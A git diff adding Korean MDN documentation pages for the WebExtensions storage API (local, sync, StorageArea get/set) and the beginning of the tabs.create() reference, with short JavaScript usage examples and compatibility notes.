+<h2 id="이벤트">이벤트</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("storage.onChanged")}}</dt>
+ <dd>저장소 영역의 항목에 변화가 있으면 발생한다.</dd>
+</dl>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("webextensions.api.storage")}}</p>
+
+<div class="hidden note">
+<p>The "Chrome incompatibilities" section is included from <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities"> https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities</a> using the <a href="/en-US/docs/Template:WebExtChromeCompat">WebExtChromeCompat</a> macro.</p>
+
+<p>If you need to update this content, edit <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities">https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities</a>, then shift-refresh this page to see your changes.</p>
+</div>
+
+<h3 id="Edge_incompatibilities">Edge incompatibilities</h3>
+
+<p>{{WebExtExamples("h2")}}</p>
+
+<div class="note"><strong>Acknowledgements</strong>
+
+<p>This API is based on Chromium's <a href="https://developer.chrome.com/extensions/storage"><code>chrome.storage</code></a> API. This documentation is derived from <a href="https://chromium.googlesource.com/chromium/src/+/master/extensions/common/api/storage.json"><code>storage.json</code></a> in the Chromium code.</p>
+
+<p>Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.</p>
+</div>
+
+<div class="hidden">
+<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are
+// met:
+//
+//    * Redistributions of source code must retain the above copyright
+// notice, this list of conditions and the following disclaimer.
+//    * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following disclaimer
+// in the documentation and/or other materials provided with the
+// distribution.
+//    * Neither the name of Google Inc. nor the names of its
+// contributors may be used to endorse or promote products derived from
+// this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+</pre>
+</div>
diff --git a/files/ko/mozilla/add-ons/webextensions/api/storage/local/index.html b/files/ko/mozilla/add-ons/webextensions/api/storage/local/index.html
new file mode 100644
index 0000000000..2d8e31c579
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/api/storage/local/index.html
@@ -0,0 +1,88 @@
+---
+title: storage.local
+slug: Mozilla/Add-ons/WebExtensions/API/storage/local
+tags:
+  - 로칼
+  - 비표준
+  - 저장소
+translation_of: Mozilla/Add-ons/WebExtensions/API/storage/local
+---
+<div>{{AddonSidebar()}}</div>
+
+<p><code>local</code> 저장소 영역을 표현한다. <code>local</code> 저장소의 항목은 확장이 설치된 기기에 제한된다.</p>
+
+<p>브라우저는 local 저장소에 저장할 수 있는 데이터의 양을 제한한다:</p>
+
+<ul>
+ <li><a href="/en-US/Add-ons/WebExtensions/manifest.json/permissions#Unlimited_storage">"unlimitedStorage" 권한</a>이 없으면 크롬은 데이터의 양을 5M로 제한한다.</li>
+ <li>파이어폭스는 버전 56부터 "unlimitedStorage" 권한을 요청할 수 있다. 아직은 저장 용량을 제한하지는 않지만, 앞으로 그렇게 할 것이므로 큰 용량의 저장할 의도라면 지금 "unlimitedStorage" 권한을 요청하는 것이 좋다.</li>
+</ul>
+
+<p>확장이 제거되면, 그것과 연결된 local 저장소는 지워진다.</p>
+
+<p>파이어폭스에서는 확장을 제거해도 local 저장소를 브라우저가 지우지 않도록 막을 수 있다. "about:config"에서 "keepUuidOnUninstall"와 "keepStorageOnUninstall" 두 브라우저 기본 설정을 <code>true</code>로 고치면 된다. 이 특징은 개발자가 확장을 테스트하는데 도움을 주려는 것이다. 확장 스스로 이 값들을 바꿀 수는 없다.</p>
+
+<p>이 API는 {{domxref("Window.localStorage")}}와 비슷하지만, 확장 코드가 확장 관련 데이터를 저장하는데 <code>Window.localStorage</code>를 사용하지 말 것을 권장한다. 사적이 이유로 사용자가 방문 기록이나 데이터를 지우는 다양한 상황에서 확장이 localStorage API로 저장된 데이터는 지워지지만, <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage/local">storage.local</a></code> API로 저장한 데이터는 정확하게 유지된다.</p>
+
+<h2 id="메소드">메소드</h2>
+
+<p><code>local</code> 객체는 {{WebExtAPIRef("storage.StorageArea")}} 자료형에 정의된 메소드로 구현되었다:</p>
+
+<dl>
+ <dt>{{WebExtAPIRef("storage.StorageArea.get()")}}</dt>
+ <dd>저장소 영역에서 하나 이상의 항목을 가져온다.</dd>
+ <dt>{{WebExtAPIRef("storage.StorageArea.getBytesInUse()")}}</dt>
+ <dd>저장소의 사용된 크기를 바이트단위로 얻는다.</dd>
+ <dt>{{WebExtAPIRef("storage.StorageArea.set()")}}</dt>
+ <dd>저장소에 하나 이상의 항목을 설정한다. 이미 있는 항목은 교체된다. 값을 설정하면 {{WebExtAPIRef("storage.onChanged")}} 이벤트가 발생한다.</dd>
+ <dt>{{WebExtAPIRef("storage.StorageArea.remove()")}}</dt>
+ <dd>저장소에서 하나 이상의 값을 지운다.</dd>
+ <dt>{{WebExtAPIRef("storage.StorageArea.clear()")}}</dt>
+ <dd>저장소의 모든 항목을 지워서 비운다.</dd>
+</dl>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("webextensions.api.storage.local")}}</p>
+
+<p>{{WebExtExamples}}</p>
+
+<div class="note"><strong>Acknowledgements</strong>
+
+<p>This API is based on Chromium's <a href="https://developer.chrome.com/extensions/storage#property-local"><code>chrome.storage</code></a> API. This documentation is derived from <a href="https://chromium.googlesource.com/chromium/src/+/master/extensions/common/api/storage.json"><code>storage.json</code></a> in the Chromium code.</p>
+
+<p>Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.</p>
+</div>
+
+<div class="hidden">
+<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are
+// met:
+//
+//    * Redistributions of source code must retain the above copyright
+// notice, this list of conditions and the following disclaimer.
+//    * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following disclaimer
+// in the documentation and/or other materials provided with the
+// distribution.
+//    * Neither the name of Google Inc. nor the names of its
+// contributors may be used to endorse or promote products derived from
+// this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+</pre>
+</div>
diff --git a/files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/get/index.html b/files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/get/index.html
new file mode 100644
index 0000000000..182a655ad6
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/get/index.html
@@ -0,0 +1,125 @@
+---
+title: StorageArea.get()
+slug: Mozilla/Add-ons/WebExtensions/API/storage/StorageArea/get
+translation_of: Mozilla/Add-ons/WebExtensions/API/storage/StorageArea/get
+---
+<div>{{AddonSidebar()}}</div>
+
+<p>저장소에서 하나 이상의 항목을 가져온다.</p>
+
+<p>비동기 함수로 <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a></code>를 돌려준다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">let gettingItem = browser.storage.&lt;storageType&gt;.get(
+  keys    // null, string, object or array of strings
+)
+</pre>
+
+<p><code>&lt;storageType&gt;</code>는 읽기 가능한 저장소 중의 하나다 — {{WebExtAPIRef("storage.sync", "sync")}}, {{WebExtAPIRef("storage.local", "local")}}, 또는 {{WebExtAPIRef("storage.managed", "managed")}}.</p>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>keys</code></dt>
+ <dd>저장소에서 가져올 항목을 지정하는 키 (문자열) 또는 키들 (문자열의 배열 또는 기본값이 주어진 객체). 빈 문자열, 객체, 또는 배열이 주어지면 빈 객체가 반환된다. null이나 undefined가 주어지면 전체 항목이 반환된다.</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>반환된 <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a></code>는 저장소에서 찾은 모든 항목을 담은 객체를 인수로 완료를 수행한다. 실패하면 에러 문장으로 거부가 수행된다. managed 저장소가 설정되어 있지 않으면 <code>undefined</code>가 반환된다.</p>
+
+<div class="warning">
+<p>When used within a content script in Firefox versions prior to 52, the Promise returned by <code>browser.storage.local.get()</code> is fulfilled with an Array containing one Object. The Object in the Array contains the <code>keys</code> found in the storage area, as described above. The Promise is correctly fulfilled with an Object when used in the background context (background scripts, popups, options pages, etc.). When this API is used as <code>chrome.storage.local.get()</code>, it correctly passes an Object to the callback function.</p>
+</div>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("webextensions.api.storage.StorageArea.get")}}</p>
+
+<h2 id="예제">예제</h2>
+
+<p>두 항목을 담고 있는 저장소를 가정한다:</p>
+
+<pre class="brush: js">// storage contains two items,
+// "kitten" and "monster"
+browser.storage.local.set({
+  kitten:  {name:"Mog", eats:"mice"},
+  monster: {name:"Kraken", eats:"people"}
+});</pre>
+
+<p>promise에 대한 성공과 실패 핸들러를 정의한다:</p>
+
+<pre class="brush: js">function onGot(item) {
+  console.log(item);
+}
+
+function onError(error) {
+  console.log(`Error: ${error}`);
+}</pre>
+
+<p><code>keys</code> 인수없이 전체를 구한다:</p>
+
+<pre class="brush: js">let gettingItem = browser.storage.local.get();
+gettingItem.then(onGot, onError);
+
+// -&gt; Object { kitten: Object, monster: Object }</pre>
+
+<p>빈 인수는 빈 객체를 반환한다:</p>
+
+<pre class="brush: js">// with an empty array, retrieve nothing
+let gettingItem = browser.storage.local.get([]);
+gettingItem.then(onGot, onError);
+
+// -&gt; Object { }</pre>
+
+<p>이름을 인수로 하면 일치하는 항목을 담은 객체를 반환한다:</p>
+
+<pre class="brush: js">let gettingItem = browser.storage.local.get("kitten");
+gettingItem.then(onGot, onError);
+
+// -&gt; Object { kitten: Object }</pre>
+
+<p>이름들을 인수로 하면 전체 일치 항목을 모두 담은 객체를 반환한다:</p>
+
+<pre class="brush: js">let gettingItem = browser.storage.local.get(["kitten", "monster", "grapefruit"]);
+gettingItem.then(onGot, onError);
+
+// -&gt; Object { kitten: Object, monster: Object } </pre>
+
+<p>객체를 인수로 하면 주어진 객체의 키들을 이름으로 항목을 찾아서 돌려준다:</p>
+
+<pre class="brush: js">let gettingItem = browser.storage.local.get({
+  kitten: "no kitten",
+  monster: "no monster",
+  grapefruit: {
+    name: "Grape Fruit",
+    eats: "Water"
+  }
+});
+
+// -&gt; Object { kitten: Object, monster: Object, grapefruit: Object }
+</pre>
+
+<p>{{WebExtExamples}}</p>
+
+<h3 id="크롬_예제">크롬 예제</h3>
+
+<p>크롬에서는 <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a></code>가 아니라 콜백 형태로 해야 한다.</p>
+
+<pre class="brush: js">chrome.storage.local.get("kitten", function(items){
+  console.log(items.kitten);  // -&gt; {name:"Mog", eats:"mice"}
+});</pre>
+
+<p class="brush: js">또는 화살표 함수로 할 수 있다.</p>
+
+<pre class="brush: js">chrome.storage.local.get("kitten", items=&gt;{
+  console.log(items.kitten); // -&gt; {name:"Mog", eats:"mice"}
+});</pre>
+
+<div class="note"><strong>Acknowledgements</strong>
+
+<p>This API is based on Chromium's <a href="https://developer.chrome.com/extensions/storage"><code>chrome.storage</code></a> API. This documentation is derived from <a href="https://chromium.googlesource.com/chromium/src/+/master/extensions/common/api/storage.json"><code>storage.json</code></a> in the Chromium code.</p>
+
+<p>Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.</p>
+</div>
diff --git a/files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/index.html b/files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/index.html
new file mode 100644
index 0000000000..00d46ba6ec
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/index.html
@@ -0,0 +1,85 @@
+---
+title: storage.StorageArea
+slug: Mozilla/Add-ons/WebExtensions/API/storage/StorageArea
+tags:
+  - API
+  - Add-ons
+  - Extensions
+  - NeedsTranslation
+  - Non-standard
+  - Reference
+  - Storage
+  - StorageArea
+  - TopicStub
+  - Type
+  - WebExtensions
+translation_of: Mozilla/Add-ons/WebExtensions/API/storage/StorageArea
+---
+<div>{{AddonSidebar()}}</div>
+
+<p>StorageArea is an object representing a storage area.</p>
+
+<h2 id="Type">Type</h2>
+
+<p>Values of this type are objects.</p>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("storage.StorageArea.get()")}}</dt>
+ <dd>Retrieves one or more items from the storage area.</dd>
+ <dt>{{WebExtAPIRef("storage.StorageArea.getBytesInUse()")}}</dt>
+ <dd>Gets the amount of storage space (in bytes) used one or more items being stored in the storage area.</dd>
+ <dt>{{WebExtAPIRef("storage.StorageArea.set()")}}</dt>
+ <dd>Stores one or more items in the storage area. If an item already exists, its value will be updated.</dd>
+ <dt>{{WebExtAPIRef("storage.StorageArea.remove()")}}</dt>
+ <dd>Removes one or more items from the storage area.</dd>
+ <dt>{{WebExtAPIRef("storage.StorageArea.clear()")}}</dt>
+ <dd>Removes all items from the storage area.</dd>
+</dl>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("webextensions.api.storage.StorageArea")}}</p>
+
+<p>{{WebExtExamples}}</p>
+
+<div class="note"><strong>Acknowledgements</strong>
+
+<p>This API is based on Chromium's <a href="https://developer.chrome.com/extensions/storage#type-StorageArea"><code>chrome.storage</code></a> API. This documentation is derived from <a href="https://chromium.googlesource.com/chromium/src/+/master/extensions/common/api/storage.json"><code>storage.json</code></a> in the Chromium code.</p>
+
+<p>Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.</p>
+</div>
+
+<div class="hidden">
+<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are
+// met:
+//
+//    * Redistributions of source code must retain the above copyright
+// notice, this list of conditions and the following disclaimer.
+//    * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following disclaimer
+// in the documentation and/or other materials provided with the
+// distribution.
+//    * Neither the name of Google Inc. nor the names of its
+// contributors may be used to endorse or promote products derived from
+// this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+</pre>
+</div>
diff --git a/files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/set/index.html b/files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/set/index.html
new file mode 100644
index 0000000000..5201fd64c3
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/set/index.html
@@ -0,0 +1,90 @@
+---
+title: StorageArea.set()
+slug: Mozilla/Add-ons/WebExtensions/API/storage/StorageArea/set
+translation_of: Mozilla/Add-ons/WebExtensions/API/storage/StorageArea/set
+---
+<div>{{AddonSidebar()}}</div>
+
+<p>저장소 영역에 하나 이상의 항목을 저장하거나, 있는 항목을 고친다.</p>
+
+<p>이 API로 값을 저장하거나 고치면, {{WebExtAPIRef("storage.onChanged")}} 이벤트가 발생한다.</p>
+
+<p>비동기 함수로 <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a></code>를 돌려준다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox brush:js">let settingItem = browser.storage.&lt;storageType&gt;.set(
+  keys             // object
+)
+</pre>
+
+<p><code>&lt;storageType&gt;</code>은 쓰기 가능한 저장소 중의 하나다 — {{WebExtAPIRef("storage.sync")}} 또는 {{WebExtAPIRef("storage.local")}}.</p>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>keys</code></dt>
+ <dd>
+ <p>저장소에 저장할 하나 이상의 키/값 쌍을 가진 객체다. 이미 있는 항목이라면 그 값은 고쳐진다.</p>
+
+ <p>값은 <a href="/en-US/docs/Glossary/Primitive">기초 자료형</a> (숫자, 논리값, 그리고 문자열 같은) 또는 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">배열</a></code>이다.</p>
+
+ <p><code>Function</code>, <code>Date</code>, <code>RegExp</code>, <code>Set</code>, <code>Map</code>, <code>ArrayBuffer</code> 기타등등 다른 자료형의 저장은 일반적으로 안된다. 지원되지 않는 이런 자료형들은 빈 객체로 저장되거나 에러를 발생시킨다. 정확한 것은 브라우저에 달렸다.</p>
+ </dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>반환된 <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a></code>는 동작이 성공하면 아무런 인수없이 완료를 수행하고, 실패하면 에러 문장과 함께 거부를 수행한다.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("webextensions.api.storage.StorageArea.set")}}</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">function setItem() {
+  console.log("OK");
+}
+
+function gotKitten(item) {
+  console.log(`${item.kitten.name} has ${item.kitten.eyeCount} eyes`);
+}
+
+function gotMonster(item) {
+  console.log(`${item.monster.name} has ${item.monster.eyeCount} eyes`);
+}
+
+function onError(error) {
+  console.log(error)
+}
+
+// define 2 objects
+var monster = {
+  name: "Kraken",
+  tentacles: true,
+  eyeCount: 10
+}
+
+var kitten = {
+  name: "Moggy",
+  tentacles: false,
+  eyeCount: 2
+}
+
+// store the objects
+browser.storage.local.set({kitten, monster})
+  .then(setItem, onError);
+
+browser.storage.local.get("kitten")
+  .then(gotKitten, onError);
+browser.storage.local.get("monster")
+  .then(gotMonster, onError);
+</pre>
+
+<p>{{WebExtExamples}}</p>
+
+<div class="note"><strong>Acknowledgements</strong>
+
+<p>This API is based on Chromium's <a href="https://developer.chrome.com/extensions/storage"><code>chrome.storage</code></a> API. This documentation is derived from <a href="https://chromium.googlesource.com/chromium/src/+/master/extensions/common/api/storage.json"><code>storage.json</code></a> in the Chromium code.</p>
+</div>
diff --git a/files/ko/mozilla/add-ons/webextensions/api/storage/sync/index.html b/files/ko/mozilla/add-ons/webextensions/api/storage/sync/index.html
new file mode 100644
index 0000000000..37915371f5
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/api/storage/sync/index.html
@@ -0,0 +1,77 @@
+---
+title: storage.sync
+slug: Mozilla/Add-ons/WebExtensions/API/storage/sync
+translation_of: Mozilla/Add-ons/WebExtensions/API/storage/sync
+---
+<div>{{AddonSidebar()}}</div>
+
+<div> </div>
+
+<p><code>sync</code> 저장 공간을 의미합니다. <code>sync</code> 저장 공간에 있는 데이터는 브라우저 사이에서 동기화되며 서로 다른 기기 간에 사용자가 브라우저에 로그인 한 경우 언제든지 접근 가능합니다.</p>
+
+<p>Firefox에서 <code>sync.storage</code> 는 고유한 부가기능 ID에 의존성을 갖고 동작합니다. <code>sync.storage</code>, 를 사용하신다면 <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications">어플리케이션</a></code> manifest.json 파일에 있는 키를 통해 여러분의 부가기능에 고유한 ID를 부여해야 합니다.</p>
+
+<p>이 API는 주로 여러분의 부가기능에 사용자 설정 정보를 저장하고 서로 다른 프로필 간에 설정을 동기화 할 수 있도록 사용됩니다. 이 API는 100KB까지 저장할 수 있습니다.  이보다 더 큰 데이터를 저장하려고 하는 경우, API 요청은 특정한 에러 메시지를 반환할 것입니다. 이 API는 아쉽게도 현재까지 특정한 성능을 보장하진 않습니다.</p>
+
+<h2 id="메소드">메소드</h2>
+
+<p><code>sync</code> 객체는 {{WebExtAPIRef("storage.StorageArea")}} 타입에 정의 된 메소드를 제공합니다:</p>
+
+<dl>
+ <dt>{{WebExtAPIRef("storage.StorageArea.get()")}}</dt>
+ <dd>저장소 영역에서 하나 이상의 항목을 가져온다.</dd>
+ <dt>{{WebExtAPIRef("storage.StorageArea.getBytesInUse()")}}</dt>
+ <dd>저장소의 사용된 크기를 바이트단위로 얻는다.</dd>
+ <dt>{{WebExtAPIRef("storage.StorageArea.set()")}}</dt>
+ <dd>저장소에 하나 이상의 항목을 설정한다. 이미 있는 항목은 교체된다.</dd>
+ <dt>{{WebExtAPIRef("storage.StorageArea.remove()")}}</dt>
+ <dd>저장소에서 하나 이상의 값을 지운다.</dd>
+ <dt>{{WebExtAPIRef("storage.StorageArea.clear()")}}</dt>
+ <dd>저장소의 모든 항목을 지워서 비운다.</dd>
+</dl>
+
+<h2 id="Browser_호환성">Browser 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("webextensions.api.storage.sync")}}</p>
+
+<p>{{WebExtExamples}}</p>
+
+<div class="note"><strong>Acknowledgements</strong>
+
+<p>This API is based on Chromium's <a href="https://developer.chrome.com/extensions/storage#property-sync"><code>chrome.storage</code></a> API. This documentation is derived from <a href="https://chromium.googlesource.com/chromium/src/+/master/extensions/common/api/storage.json"><code>storage.json</code></a> in the Chromium code.</p>
+
+<p>Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.</p>
+</div>
+
+<div class="hidden">
+<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are
+// met:
+//
+//    * Redistributions of source code must retain the above copyright
+// notice, this list of conditions and the following disclaimer.
+//    * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following disclaimer
+// in the documentation and/or other materials provided with the
+// distribution.
+//    * Neither the name of Google Inc. nor the names of its
+// contributors may be used to endorse or promote products derived from
+// this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+</pre>
+</div>
diff --git a/files/ko/mozilla/add-ons/webextensions/api/tabs/create/index.html b/files/ko/mozilla/add-ons/webextensions/api/tabs/create/index.html
new file mode 100644
index 0000000000..1c36ddff1d
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/api/tabs/create/index.html
@@ -0,0 +1,131 @@
+---
+title: tabs.create()
+slug: Mozilla/Add-ons/WebExtensions/API/tabs/create
+translation_of: Mozilla/Add-ons/WebExtensions/API/tabs/create
+---
+<div>{{AddonSidebar()}}</div>
+
+<p>새 탭을 만든다.</p>
+
+<p>이것은 비동기 함수로 <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a></code>를 돌려준다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox brush:js">var creating = browser.tabs.create(
+  createProperties   // object
+)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>createProperties</code></dt>
+ <dd><code>object</code>. 새 탭에 대한 속성들. 속성들에 대해 더 배우려면 {{WebExtAPIRef("tabs.Tab")}} 문서를 보라.</dd>
+ <dd>
+ <dl class="reference-values">
+  <dt><code>active</code>{{optional_inline}}</dt>
+  <dd><code>boolean</code>. 활성탭이 되는지를 정한다. 윈도우의 포커스에는 영향이 없다({{WebExtAPIRef('windows.update')}} 참조). 기본값은 <code>true</code>.</dd>
+  <dt><code>cookieStoreId</code> {{optional_inline}}</dt>
+  <dd><code>string</code>. 탭의 쿠키 저장 ID를 <code>cookieStoreId</code>로 지정한다. 이 옵션은 확장이 <code>"cookies"</code> <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">권한</a>을 가져야 쓸 수 있다.</dd>
+  <dt><code>index</code>{{optional_inline}}</dt>
+  <dd><code>integer</code>. 윈도우에서 탭의 위치를 지정한다. 쓸 수 있는 값은 0에서 윈도에 있는 탭의 수까지다.</dd>
+  <dt><code>openerTabId</code>{{optional_inline}}</dt>
+  <dd><code>integer</code>. The ID of the tab that opened this tab. If specified, the opener tab must be in the same window as the newly created tab.</dd>
+  <dt><code>openInReaderMode</code>{{optional_inline}}</dt>
+  <dd><code>boolean</code>. If <code>true</code>, open this tab in <a href="/en-US/Add-ons/WebExtensions/API/tabs/toggleReaderMode">Reader Mode</a>. Defaults to <code>false</code>.</dd>
+  <dt><code>pinned</code>{{optional_inline}}</dt>
+  <dd><code>boolean</code>. Whether the tab should be pinned. Defaults to <code>false</code>.</dd>
+  <dt><code>selected</code>{{optional_inline}}</dt>
+  <dd><code>boolean</code>. 윈도우에서 탭이 선택되는지를 지정한다. 기본값은  <code>true</code>.
+  <div class="warning">이 속성은 사용이 중단되었다. 파이어폭스에서는 지원하지 않는다. <code>active</code>가 대신한다.</div>
+  </dd>
+  <dt><code>url</code>{{optional_inline}}</dt>
+  <dd><code>string</code>. 최초 표시될 URL. 기본값은 새 탭 페이지다.</dd>
+  <dd>URL은 반드시 scheme를 포함해야 한다 (가령은 'http://www.google.com'은 되지만, 'www.google.com'은 안된다).</dd>
+  <dd>보안상 파이어폭스에서 특권이 있는 URL은 안된다. 그래서 아래와 같은 URL을 주면 실패할 것이다:</dd>
+  <dd>
+  <ul>
+   <li>chrome: URL</li>
+   <li>javascript: URL</li>
+   <li>data: URL</li>
